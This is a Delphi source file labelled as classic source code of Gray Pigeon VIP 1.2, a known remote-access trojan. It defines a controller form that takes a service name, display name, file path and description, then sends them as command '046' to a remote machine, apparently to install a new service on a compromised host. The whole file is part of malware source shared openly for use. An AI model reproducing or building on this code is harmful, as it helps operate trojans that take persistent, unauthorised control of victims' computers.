newxpser.pas

灰鸽子VIP1.2经典源代码

unit NewxpSer;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, SkinCtrls, StdCtrls, Mask, SkinBoxCtrls, DynamicSkinForm, LangFrm;

type
  TNewxpServer = class(TLangForm)
    spDynamicSkinForm1: TspDynamicSkinForm;
    Label1: TspSkinStdLabel;
    Servername: TspSkinEdit;
    Label2: TspSkinStdLabel;
    viewname: TspSkinEdit;
    Label3: TspSkinStdLabel;
    filepath: TspSkinEdit;
    Button1: TspSkinButton;
    Button2: TspSkinButton;
    Label4: TspSkinStdLabel;
    Miaoshu: TspSkinEdit;
    procedure Button2Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  NewxpServer: TNewxpServer;

implementation
uses
  Main;
{$R *.dfm}

procedure TNewxpServer.Button2Click(Sender: TObject);
begin
  Close;
end;

procedure TNewxpServer.Button1Click(Sender: TObject);
begin
if (Servername.Text='') or (viewname.Text='') or (filepath.Text='') or (Miaoshu.Text='') then Exit;
HgzVip.ZhuDongCmdSend('046', Servername.Text+#13#10+viewname.Text+#13#10+filepath.Text+#13#10+Miaoshu.Text+#13#10,False);
Close;
end;

end.